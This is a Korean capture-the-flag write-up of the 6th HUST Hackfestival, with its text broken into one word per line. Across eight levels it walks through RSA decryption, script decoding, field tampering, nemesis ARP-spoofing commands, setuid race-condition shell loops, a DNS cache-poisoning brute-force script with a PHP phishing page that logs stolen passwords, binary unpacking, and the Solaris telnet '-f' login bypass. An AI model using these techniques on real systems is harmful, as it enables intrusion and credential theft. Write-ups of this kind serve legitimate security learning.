6th 
HUST 
Hackfestival 
결과 
보고서 


By 
RiceBox 
(RiceBox@wowhacker.org) 
Email: 
RiceBox@yumail.com 




[Level 
1] 
-RSA 
복호화 


로그인해서 
마주친 
보물지도를 
보며 
뭔가 
숨겨진 
내용을 
찾는 
것으로 
짐작했다. 
게시판 
접근을 
위한 
가입화면에서 
내 
개인정보와 
동일하지 
않아도 
가입이 
가능한 
것을 
보고 
가입필드를 
악용한 
공격으로 
예상했다 
. 
일단 
게시판에 
접근해서 
Admin 
페이지 
접근이나 
XSS 
공격을 
예상하고 
시도 
했지만 
가능한 
공격이 
없었다. 
(가입시 
Homepage 
필드에 
악성코드 
삽입이 
가능했지만 
외부 
출력부가 
없었음 
...) 
그러던 
중 
페이지 
상당의 
플래시가 
눈에 
들어왔다. 
해당 
플래시를 
디컴파일 
해보니 
다음과 
같았다. 



해당 
값을 
보고 
RSA 
암호화 
방식인 
것을 
알 
수 
있었다 
. 
개인키를 
공개했으니 
임의의 
값을 
복호화 
해야 
한다는 
것을 
알게되었으나 
문제는 
무엇을 
복호화 
할 
것인가?? 
처음에 
폰트쪽 
문자열 
데이터 
(179=P_adeiklmorstuvy) 
를 
복호화 
하는 
것으로 
생각했다 
. 
하지만 
복호화 
한 
결과가 
암호가 
아니였다. 
(여기서까지 
확인하는데 
채 
20 
분도 
안 
걸렸는데 
복호화할 
문자열을 
찾기 
위해 
거의 
5시간을 
헤맨거 
같 
다...;;) 
결국 
백지상태에서 
다시 
시작해보다가 
게시판 
가입창에서 
2와 
9를 
입력하는 
부분의 
명칭이 
Keyword로 
되어있는 
것을 
보고 
설마하는 
마음에 
2를 
복호화 
해봤다 
. 



이미 
어드민 
페이지에 
값을 
입력하라는 
힌트가 
나온터라 
32를 
http://220.95.158.11/~dhclub20/admin.php 
에 
입력하고 
암호를 
얻을 
수 
있었다. 


암호 
: 
The 
FORMula 
of 
SucCess 


-1



[Level 
2] 
-데이터 
디코딩 


문제 
URL로 
접속하자 
로그인창이 
뜨는 
것을 
보고 
소스를 
확인해보니 
login.js 
파일이 
로그인부분을 
처 
리하고 
있었다. 


#login.js 


function 
submitLogon() 
{ 
tmpusernm 
= 
document.logon.username.value 
tmppasswd 
= 
document.logon.password.value 
successpg 
= 
"../level2redy/ch1nw0rmbyredy.html" 
failpg= 
"./check.html" 
username 
= 
"level2" 
password 
= 
"hust" 
username2 
= 
"hack" 
password2 
= 
"festival" 
username3 
= 
"level3" 
password3 
= 
"admin" 
username3 
= 
"level1" 
password3 
= 
"passed" 


if 
(tmpusernm 
== 
null) 
{ 
alert('[ 
아이디가 
틀렸습니다 
.]') 
} 
if 
(tmppasswd 
== 
null) 
{ 
alert('[ 
비밀번호가 
틀렸습니다 
.') 
} 


/*--------username 
& 
password 
---------------------------*/ 
if 
(tmpusernm 
== 
username 
&& 
password 
== 
tmppasswd) 
{ 
alert('level2님 
환영합니다 
. 
~~') 
location.href 
= 
successpg 
return 
} 
/*--------username 
& 
password 
---------------------------*/ 
/*--------username 
& 
password 
---------------------------*/ 
if 
(tmpusernm 
== 
username2 
&& 
password2 
== 
tmppasswd) 
{ 
alert('hust 
님 
로그인 
하셨습니다 
.') 
location.href 
= 
successpg 
return 
} 


... 
중략... 


내용을보면 
level2/hust 
로 
인증을할수있음을 
확인할수있다 
. 
이를 
이용해인증을 
하면 
중국어 
(?) 
로된소스를볼수있다 
. 


-2



<HTML> 
<HEAD> 
<META 
http-equiv="Content-Type" 
content="text/html; 
charset=ASCII"> 
<TITLE>title</TITLE> 
</HEAD> 
<BODY> 
샥켓촬鶩힋휄蠱졤覽俓횪˛?柳챦?敦졜突?눔컿橙灑猖聽禎刷 
?턱♥ 
셜突潔 
셜탕컁 
솎　謙풝휑졅졜 
淸率邑蹟졚掩聽快議　졨猥졗矮蹟若츫섞 
燉乭


戇탑 


셩텃헇适考숱헌 
赤賑剃地졗鷗旽塊숱토 
郁其出♥

셩텃헇适考숱증 
淸綎쥯촙塊턱督⇔?

셩텃헇适考숱距抗綎涯쥯촙 
塊턱督⇔?

셩텃헇适考숱콸 
昌侄從旭再졗鷗旽塊 
숱♥ 


섞훅좔? 


셋謳毛 
숍 
? 
졐졞 
戴侄從謫淨孃

訊昱藺蹟雛銳?

샥? 
? 
赤昌鎖夜´냉舜扼겸豫睛綎Ⅳ칠께 
녔連連璵께 
곤謫禎輒慓張奠Ⅳ

埃辰張塼侄輒⑮ 
Ⅲ 
Ⅲ 
Ⅲ 
칠께 
鎭 
逮桎Ⅲ경刷暢Ⅲ꺄껐 
禎曖淞彩釗處냐Ⅲ뀝淹瑃宰껐聯壬也께Ⅲ곤塡諺憶締疊蛭Ⅳ칠께 
鎭逮桎 
경刷暢Ⅲ꺄냑칠걍츈 
訊昱處껐藺蹟雛銳Ⅳ칠께 
乫快戴侄從 
Ⅲ 
Ⅰ 
Ⅳ 
?Ⅰ칠걍 


Ⅲ 
Ⅰ 
Ⅳ 
꺄냑칠걍책껑 
宗慝Ⅲ른껸 
Ⅰ칠걍廉謫聽禎Ⅲ곧綵芯껴Ⅲ묑껐Ⅷ짜걜 
Ⅰ젖갯快持껐趙寨派進Ⅲ갈냐 
Ⅲ곧瓆璋 
處껴Ⅲ꺄憁릴책껐迹紳φ첨눼 
Ⅲ갈憁뎬책 
寵쳔갈껐φ좍척φ챵키φ좍같 
φ철뭅Ⅳ튈께Ⅲ책께Ⅲ꺄 
껸칠걍백껐모 
修綵綎芯껐칠냐갈께꺄떫뇰레꺄껸갈력칠걍뱁 
Ⅲ 
Ⅵ 
Ⅶ 
Ⅲ 
Ⅲ 
Ⅰ 
Ⅰ

Ⅰ 
Ⅰ璵Ⅲ 
Ⅳ 
翰彧 


Ⅲ갈냐Ⅲ곳彧埃探腎艇也껴Ⅲ꺄꼽Ⅲ큐꼿 
屢扼靭墮泥Ⅲ펏朮溫鳥劑 
께Ⅲ묑냈Ⅲ갈껐 
Ⅲ갈껐Ⅲ 


고 
?Ⅲ른껸짜걜젖갯칠걜젖갯 
Ⅷ 
Ⅰ 
諺暢Ⅲ갈력 
Ⅰ칠걍 
Ⅰ벅彧埃探刷奄處껴

翰彧逸暢Ⅳ 
Ⅰ 
Ⅲ램憁 
?냐暢靷 


럽챤?寵키갈憁낯뇰憁떴눔?憁굉칠憁굉칠摠돈뇰憁떴뇰꼽 
Ⅲ큐껭 
Ⅲ묑냈 
暢靷釣赤持Ⅳ 
짜껐 
? 
른껸Ⅳ 
묑렬?? 
Ⅳ큐걜Ⅰ젖냉 
訊昱處 
냑˝㈊ 


暢靷逸暢Ⅲ 
짜렬Ⅰ 
?

??? 


섞昌侄從 
? 


섞쫏켸? 


섞휄蠱? 


</BODY> 


</HTML> 


"charset=ASCII" 
이부분을 
통해 
아스키로인코딩 
된것을확인할수있고이를 
UTF-8 
로 
변환해주는 
툴을 
사용하여 
변환하였다. 


-3



C:\Documents 
and 
Settings\RiceBox\My 
Documents\ 
네이트온 
받은 
파일 
>ASCIIExploit.exe 
d 
a.html 
ASCII 
Exploit 
codec 
by 
sjpark. 
(http://mireenae.com) 
<HTML> 
<HEAD> 
<META 
http-equiv="Content-Type" 
content="text/html; 
charset=ASCII"> 
<TITLE>title</TITLE> 
</HEAD> 
<BODY> 
<!DOCTYPE 
HTML 
PUBLIC 
"-//W3C//DTD 
HTML 
4.0 
Transitional//EN"> 
<HTML> 
<HEAD> 
<TITLE> 
HUST 
6th 
Hacking 
Festival!!! 
The 
Change.. 
</TITLE> 
<META 
NAME="Generator" 
CONTENT="EditPlus"> 
<META 
NAME="Author" 
CONTENT=""> 
<META 
NAME="Keywords" 
CONTENT=""> 
<META 
NAME="Description" 
CONTENT=""> 
</HEAD> 


<BODY> 
<script 
language 
= 
JScript.Encode> 


<!-document.
write(unescape("%3Cbody%20bgcolor%3D%22%23ffffff%22%20oncontextmenu%3D% 
22return%20false%22%20ondragstart%3D%22return%20false%22%20onselectstart%3D%22re 
turn%20false%22%3E%0D%0A%3Cscript%20language%3D%22JavaScript%22%3E%0D%0A%3C 
%21-%
0D%0Apswd%28%29%0D%0Afunction%20pswd%28%29%20%7B%0D%0A%09var%20passwor 
d%20%3D%2 
0prompt%28%22%uC81C%20nick%uC744%20%uC54C%uACE0%20%uACC4%uC2E0%uAC00%u 
C694%3F%22 
%2C%22%22%29%0D%0A%09if%20%28password%20%3D%3D%20%22%52%65%64%79%22%2 
9%20%7B%0D% 
0A%09myWin%20%3D%20window.close%28%22%2E%2E%2FRedylevel2%2Fauth.php%22%29% 
3B%20% 
20%20%20%20myWin.close%28%29%3B%0D%0A%09%7D%0D%0A%09else%20%7B%0D%0A% 
09window.al 
ert%28%27%uC74C..%uAE00%uC384%uC694..%uC12D%uC12D%uD574%uC694%2E%2E%27%2 
9%3Bself 
.opener%3Dself%3B%20self.close%28%29%3B%7D%09%7D//--%3E%0D%0A%3C/script%3E")); 
//--> 
</script> 
</BODY> 
</HTML> 
</BODY> 
</HTML> 


이 
내용중 
unescape 
된 
부분을 
디코딩 
해보면 


-4



<body 
bgcolor="#ffffff" 
oncontextmenu=% 
22return 
false" 
ondragstart="return 
false" 
onselectstart="re 
turn 
false"> 
<script 
language="JavaScript"> 
<!-


pswd() 
function 
pswd() 
{ 
var 
password 
=%2 
0prompt(" 
제 
nick 
을 
알고 
계신가요 
?" 


,"") 
if 
(password 
== 
"Redy") 
{ 
% 
0A 
myWin 
= 
window%.close("../Redylevel2/auth.php"); 
20 
myWin.close(); 
} 
else 
{ 
window.al 


ert(' 
음 
글쎄요 
섭섭해요 
.. 
..');self 


.. 
.opener=self; 
self.close();} 
}//--> 
</script> 


디코딩 
된 
소스를 
확인해보면 
인증이후 
http://220.95.158.11/~Redy/hust2007/thechange/hack/festival/level2/Redylevel2/auth.php 
로 
이동하지만 
해당 
페이지를 
close 
하도록 
프로그래밍 
해둔 
것을 
확인할 
수 
있다 
. 
해당페이지에 
접근해서 
다시 
level2 
/ 
hust 
로 
인증하면 
다음과 
같은 
소스를 
확인할 
수 
있다 
. 


<HTML><HEAD><TITLE>New 
Document</TITLE> 
<META 
content=EditPlus 
name=Generator> 
<META 
content="" 
name=Author> 
<META 
content="" 
name=Keywords> 
<META 
content="" 
name=Description> 
<SCRIPT 
language=javascript> 
newwin=open("end.html","","top=100, 
left=250, 
width=300, 
height=200"); 
setTimeout("moving()",100); 
function 
moving() 
{ 
newwin.self.close(); 
} 
</SCRIPT> 
</HEAD> 
<BODY 
bgColor=black 
onload="setTimeout('self.close()',100)" 
align="center"> 
<H1>Good 
JOB!!!</H1><!--Q29uZ3JhdHVsYXRpb25zISBVIHBhc3NlZCBMZXZlbDQuLi4gTkVYVCBMZXZlbC 
BBdXRoZW50aWNhdGlvbiBQYXNzd29yZCBpcyAiRmluZGVycyBrZWVwZXIsIGxvc2VyIHdlZXBlcn 
Mi--></BODY></HTML> 


-5



“<!--Q29uZ3JhdHVsYXRpb25zISBVIHBhc3NlZCBMZXZlbDQuLi4gTkVYVCBMZXZlbCBBdXRoZW50aWN 
hdGlvbiBQYXNzd29yZCBpcyAiRmluZGVycyBrZWVwZXIsIGxvc2VyIHdlZXBlcnMi-->” 
를 
base64 
디코딩 
하면 
암호를얻을수있다. 



암호 
: 
Finders 
keeper, 
loser 
weepers 


[Level 
3] 
-필드 
조작 


이번 
대회 
문제들 
중 
가장 
간단한 
문제였다. 
쇼핑몰을 
보는 
순간 
필드조작 
공격인 
것을 
직감했다. 
일단 
오디세우스를 
이용해 
가격을 
조작했지만 
별 
차이가 
없었다. 
그래서 
관련된 
값을 
모두 
조작해보니 
total값과 
flag 
값 
조작을 
통해 
변화가 
발생했고 
암호에 
접근할 
수 
있었다. 


암호 
: 
BoNe 
To 
bE 
a 
HaCKeR 


[Level 
4] 
-ARP 
Spoofing 


nemesis 
는 
임의의 
패킷을 
작성해주는 
툴이다 
.( 
유사한 
툴은 
hping.. 
능력되면 
만들어 
쓰는 
것도 
재미있다 
.) 
임의의 
패킷을 
작성하는 
공격이라는 
것을 
확인하고 
네트워크 
구조를 
확인하기 
위해 
패킷 
덤프를 
시작했다. 


#./tcpdump 
-evv 
udp 


패킷을 
잡다보니 
내부망이 
구성되어 
있는 
것을 
확인했고 
192.168.0.4 
가 
현재 
호스트이며 
, 
또다른 
호스 
트인 
192.168.0.5 
가 
존재하는 
것으로 
보였다 
. 


-6



<내부망확인결과 
> 


IP 
MAC 
192.168.0.1 
00:08:9f:24:83:39 
192.168.0.4 
00:90:27:98:32:5f 
192.168.0.5 
00:0e:2e:01:b4:51 
77.77.77.77 
00:90:27:98:32:5f 


확인된 
내부망 
형태와 
힌트에서 
ARP 
패킷 
생성을 
언급한 
것으로 
보고 
ARP 
스푸핑 
공격이라고 
판단했 
고 
192.168.0.5 
로 
가는 
패킷을 
192.168.0.4 
로 
보내도록 
하는 
조작을 
시작했다 
. 
일단 
ARP 
패킷이 
정상적으로 
생성되는지 
내 
PC 
로 
전송해서 
확인해보았다 
. 


#./nemesis 
arp 
-v 
-r 
-S 
203.249.91.113 
-h 
00:08:e2:44:76:3c 
-D 
210.98.189.141 
-m 
00:0b:6a:cb:bd:4d 


받아본 
ARP 
패킷이 
정상적인 
것을 
확인하고 
스푸핑을 
시작했다 
. 


/* 
192.168.0.1(GW) 
에 
192.168.0.5 
의 
MAC 
을 
내 
호스트 
(192.168.0.4) 
의 
MAC 
으로 
변조하는 
패킷 
생성 
*/ 
#./nemesis 
arp 
-v 
-r 
-S 
192.168.0.5 
-h 
00:90:27:98:32:5f 
-D 
192.168.0.1 
-m 


00:08:9f:24:83:39 


이렇게 
해서 
패킷을 
잡긴 
잡았는데 
정작 
답이 
안 
나왔다 
. 
그래서 
ARP 
스푸핑 
공격이 
아닌지도 
모르겠 
다는 
생각이 
들었다 
. 
마땅한 
방법이 
없어서 
다양한 
시도 
해보기로 
했다 
. 


#./nemesis 
arp 
-v 
-r 
-S 
192.168.0.5 
-h 
00:08:e2:44:76:3c 
-D 
192.168.0.1 
-m 


00:0b:6a:cb:bd:4d 
#./nemesis 
arp 
-v 
-r 
-S 
192.168.0.5 
-h 
00:90:27:98:32:5f 
-D 
192.168.0.1 
#./nemesis 
arp 
-v 
-r 
-S 
192.168.0.1 
-h 
00:90:27:98:32:5f 
-D 
192.168.0.1 
-m 
00:08:9f:24:83:39 
#./nemesis 
arp 
-v 
-r 
-S 
192.168.0.5 
-h 
00:90:27:98:32:5f 
-D 
192.168.0.5 
-m 
00:0e:2e:01:b4:51 
#./nemesis 
arp 
-v 
-S 
192.168.0.5 
-h 
00:90:27:98:32:5f 
-D 
192.168.0.5 
-m 
00:0e:2e:01:b4:51 
#./nemesis 
arp 
-v 
-r 
-S 
192.168.0.4 
-h 
00:90:27:98:32:5f 
-D 
203.249.91.113 
-m 
00:08:e2:44:76:3c 
#./nemesis 
arp 
-v 
-r 
-S 
203.249.91.113 
-h 
00:08:e2:44:76:3c 
-D 
192.168.0.4 
-m 
00:90:27:98:32:5f 


하지만 
해답은 
나오지 
않고 
... 
다시 
생각해봐도 
처음 
방법이 
맞는 
것 
같아 
다시 
시도해 
보았더니 
답으로 
의심되는 
패킷을 
잡을 
수 
있었다. 


-7



암호 
: 
here.isananswer.net 


ps. 
나만 
그렇게 
느낀지는 
모르겠지만 
문제 
환경이 
이상하다고 
느껴졌다 
.(NIC 
가 
Promiscuous 
모드로 
설정된 
것 
같다고 
느꼈는데 
다수의 
사람이 
동시에 
접근하는 
바람에 
그렇게 
느꼈는지도...) 


[Level 
5] 
-Race 
Condition 


Race 
Condition 
이란 
것을 
확인하고 
(문제 
풀이를 
조금 
늦게 
시작했음 
...) 
우선 
로컬로 
접속하여 
setuid 
가 
걸린 
프로그램을 
찾아보니 
/bin에서 
flyHigh 
파일을 
찾을 
수 
있었다 
. 
이 
프로그램의 
strings 
결과를 
통해 
프로그램을 
실행 
시키면 
파일을 
열고 
(open 
함수 
), 
기록한 
뒤(write), 
삭제(unlink) 
하는 
것을 
확인했다 
. 
이 
파일을 
실행했을 
때 
생성하는 
파일명은 
/quest/level5/tmp/HUST 
이며 
이 
파일이 
생성되는 
짧은 
순 
간에 
내용을 
읽으려고 
하지만 
파일에 
읽기 
권한이 
없으므로 
실제로 
파일을 
읽을 
수 
없다. 
따라서 
/quest/level5/tmp/HUST 
파일이 
기록 
, 
삭제되는 
순간을 
이용하면 
공격이 
가능할 
것으로 
판단했다 
. 
/bin/flyHigh 
를 
실행해보면 
, 
/quest/level5/tmp/HUST 
파일이 
이미 
존재하면 
파일을 
삭제하지 
않는 
것을 
알수있다. 
이를 
이용하면 
“권한이 
없는 
생성 
파일 
” 
대신 
“내가 
생성한 
파일 
에 
기록을 
할 
수 
있을 
것이라 
예상했 


” 
다. 
파일이 
기록되고 
삭제되는 
시간차를 
이용해야하므로 
터미널 
두 
개를 
이용해 
한쪽 
터미널에서는 
/bin/flyHigh 
를 
실행하고 
, 
다른 
한쪽 
터미널에서는 
/quest/level5/tmp/HUST 
의 
생성과 
읽기작업을 
무한루프로 
수행한다면 
두 
실행 
이 
겹치는 
순간 
내가 
생성한 
파일로 
값이 
들어갈 
것이라 
판단하고 
다음과 
같은 
쉘 
스크립트를 
작성했 
다. 


/*스크립트 
1 
/bin/flyHigh 
를 
무한히 
실행 
*/ 
#!/bin/sh 


for((;;)) 
do 


/bin/flyHigh 
done 


-end 



-8



/* 스크립트 2 “aaaaaa" 라는 문자열을 담는 HUST 파일을 생성하고 head명령으로 이 파일을 읽는다 */ 
#!/bin/sh 

for((;;)) 
do 

echo "aaaaaa" >> /quest/level5/tmp/HUST;head /quest/level5/tmp/HUST;usleep 10000 
done 
-end 


sh 명령을 통해 2개의 터미널에서 해당 스크립트를 실행했고 스크립트 2를 실행하는 터미널에서 암호 
를얻을수있었다. 

암호 : PracTicE mAkeS PerFeCtsibar 

[Level 6] 
-DNS Cache Poisoning 

가장 재미있었던 문제였다. 
일단 DNS Cache 오염 공격이라는 것을 확인하고 공격방법을 구상해보니 대충 공격 방식이 그려졌다 . 


DN S서버 B 
(121.127.182.254 ) 
DNS 서버 A 
(211.247.58.254) 
Client 
Attacker 
www.level6hackfestival.net Query 
1~65500 DNS ID 
210.98.189.141(MyIP) Response 
…
211.247.58.254 Dst 
121.127.182.254 Src 
Injected Packet 
-9



위 
그림과 
같이 
DNS 
A 
가 
DNS 
B 
를 
참조하기 
때문에 
그 
과정에 
개입하면 
클라이언트로 
조작된 
DNS 
응 
답을 
전달할 
수 
있다. 
먼저 
DNS 
페이로드를 
작성해주는 
소스 
파일 
(dns.c) 
을 
확인했다 
. 
DNS 
페이로드야 
예전에 
지겹게 
봤던지라 
빠르게 
분석할 
수 
있었다 
. 


디엔에스 
페이로드의 
함정은 
쿼리에 
들어가는 
URL 
의 
각 
계층 
문자열 
앞에 
해당 
문자열의 
길이가 
들어 
가는 
것이다. 
ex) 
www.naver.com 
-> 
3www5naver3com 


이를 
위해 
해당 
소스를 
3www18level6hackfestival3net 
형태로 
쿼리를 
작성하도록 
변조해주고 
패킷이 
정 
상적으로 
전송되는지 
여부 
확인을 
위해 
내 
호스트로 
전송해봤다. 
전송한 
패킷이 
디엔에스 
Reply 
패킷임을 
확인했고 
Answer 
필드에 
값이 
추가적으로 
필요했었다 
. 
하지만 
이 
값을 
어디로 
날려줄 
것인가 
.. 
그게 
문제였다 
. 
그때 
사용자가 
가끔 
서버에 
접근한다는 
문구가 
눈에 
들어왔다. 
혹시 
파밍이 
아닐까?? 
사용하던 
웹 
서버에 
www.level6hackfestival.net 
의 
소스를 
따서 
피싱사이트를 
만들었다 
. 
(소스를 
긁어와서 
상대경로만 
절대경로로 
변경해주면 
쉽게 
만들 
수 
있다 
) 
그리고 
피싱사이트에 
사용자가 
접속하면 
아이디와 
패스워드가 
파일로 
저장되도록 
코드를 
작성했다. 


# 
./log_in_out/login.php 


<?php 


$filename 
= 
"xss.txt"; 


$fp 
= 
fopen("$filename", 
"a+"); 
fwrite($fp, 
"$main_id\n"); 
fwrite($fp, 
"$main_passwd\n"); 
fwrite($fp, 
"\n"); 
fclose($fp); 


?> 


그리고 
DNS 
페이로드의 
"answer 
" 
(219.98.189.141) 
를 
입력하여 
이 
패킷을 
받은 


필드에 
내 
웹서버 
주소 
DNS 
서버의 
정보를 
받은 
클라이언트가 
www.level6hackfestival.net 
로 
접속하면 
내 
웹서버로 
접속하도 
록 
유도했다. 
하지만 
한가지 
더 
필요한 
것이 
DNS 
ID 
값 
이였다 
. 
DNS 
Cache 
오염 
공격을 
위해서는 
DNS 
ID 
에 
대한 
BruteForceing 
이 
필요하기 
때문에 
페이로드 
작성 
소스(dns.c) 
를 
수정해서 
1~65500 
을 
각각 
DNS 
ID 
로 
하는 
패이로드들을 
생성했다 
. 
다음 
스크립트를 
작성하여 
DNS 
ID 
BruteForceing 
를 
통해 
DNS 
응답 
패킷을 
전송하도록 
했다 
. 


#!/bin/sh 
i=0 
-10



while(i<65500) 


do 


./nemesis 
udp 
-v 
-S 
121.127.182.254 
-D 
211.247.58.254 
-x 
7777 
-y 
53 
-P 
$i 


((i 
= 
$i 
+1)) 
done 
-end 



이렇게 
수집된 
로그인 
기록을 
통해 
아이디와 
패스워드를 
확인 
할 
수 
있었다. 


ID 
: 
binubanu 
PASS 
: 
clzlsgksakfl 



이를 
통해 
얻은 
사용자정보가 
다음과 
같다. 


ID 
binubanu 
Name 
PresidentWearsGurada! 
Team 
HUST 
E-mail 
level8@hust.net 


Join 
Date 
2007-05-15 
00:00:00 
Join 
IP 
77.77.77.77 


여기서 
분명히 
NAME 
부분이 
암호 
같은데 
인증이 
안되는 
것을 
보고 
당황했다 
. 
그래서 
대회 
처음으로 
질문을 
올렸고 
... 
거기에 
달린 
답변이 
생일 
공격이라 
더 
당황했다 
...;; 
여기서 
한 
3시간 
헤매다가 
.. 
거의 
포기할 
즈음 
... 
새로운 
답변을 
보고 
정답인 
것을 
알았다...;;; 
이번 
대회는 
좀 
많이 
헤매다녔다... 


암호 
: 
PresidentWearsGurada! 


-11



[Level 
7] 
-Cryptography 
and 
Reversing 


level7.exe 
파일을 
받아서 
실행해보니 
다음과 
같은 
화면이 
나왔다 
. 



일반적인 
암호 
해독 
문제인 
것 
같았으나 
Tip. 
부분을 
보니 
리버싱을 
통한 
문제 
풀이도 
가능한 
것으로 
판단되었다. 
따라서 
바이너리 
파일을 
Ollydbg 
로 
분석 
실행했으나 
실행하면 
Ollydbg 
를 
종료시키도록 
조작되어 
있었다 
. 
패킹을 
의심하고 
PEID를 
통해 
확인했으나 
확인이 
안되고 
exeinfope 
를 
통해 
Themida 
1.x 
로 
패킹된 
것 
을알수있었다. 
언패킹을 
위해 
언패킹툴을검색했고 
unthemida 
2.0 
을통해언패킹을수행할수있었다 
. 
일단 
Ollydbg통해 
분석하면서 
스트링 
검색을 
통해 
의심되는 
문자열들을 
찾아보았다 
. 


-12



ghddlreogkrry 
를 
암호로 
생각했으나 
인증해보니 
아닌 
것을 
확인하고 
다른 
부분들을 
확인하기 
시작했다 
. 
그러던 
중 
아래부분에서 
어떠한 
인증 
루틴을 
발견할 
수 
있었다. 



이 
루틴에서 
DL로 
불러들여지는 
값이 
“ghdeoWkdqjrjz 
tmvptuf 
xhtmxm 
ajrrhtlvdjdy” 
의 
일부인 
”ghdeoWkdqjrjz“ 
였는데 
프로그램에 
이 
문자열을 
입력해서 
확인하면 
관리자 
모드로 
전환되었다 
. 


-13



하지만 
또 
다른 
인증창이 
뜨는 
것을 
보고 
추가적인 
인증값이 
필요하다는 
것을 
확인하고 
이후 
루틴을 
분 
석했다. 
그러던 
중 
다시 
확인한스트링 
값에서우리가 
복호화해야하는암호문자열이 
존재하는것을알게되었 
다. 



혹시 
이어지는 
CALL 
루틴이 
복호화를 
위한 
것이 
아닌가하는 
생각에 
해당 
루틴을 
분석해 
보게 
되었고 
복호화를 
위한 
루틴임을 
확인할 
수 
있었다. 
루틴 
분석을 
통해 
0045F70B에서 
EAX값에 
복호화 
된 
내용이 
들어가는 
것을 
확인할 
수 
있었다 
. 



-14



해당 
문자열을 
프로그램에 
입력한 
결과 
암호인 
것을 
알 
수 
있었다. 


암호 
:I 
Can 
Do 
ItAs 
WellAs 
You 


[Level 
8] 
-Make 
a 
Shellcode 


쉘 
코드 
작성 
문제라 
해당 
텔넷에 
접근을 
시도했는데 
패스워드가 
없는 
것이다....;; 
일단 
스캔을 
통해 
서버를 
확인했는데 
특별한 
취약점이 
눈에 
들어오질 
않았다. 
하지만 
불현듯 
최근에 
발표된 
솔라리스 
텔넷 
취약점을 
생각해보고 
해당 
자료를 
검색했다. 


#telnet 
-l 
"-f 
사용자이름 
" 
[호스트이름 
] 


이취약점을이용하여쉘을획득했으나시간은 
5시 
59 
분... 
여기서 
끝 
이였다. 


-15



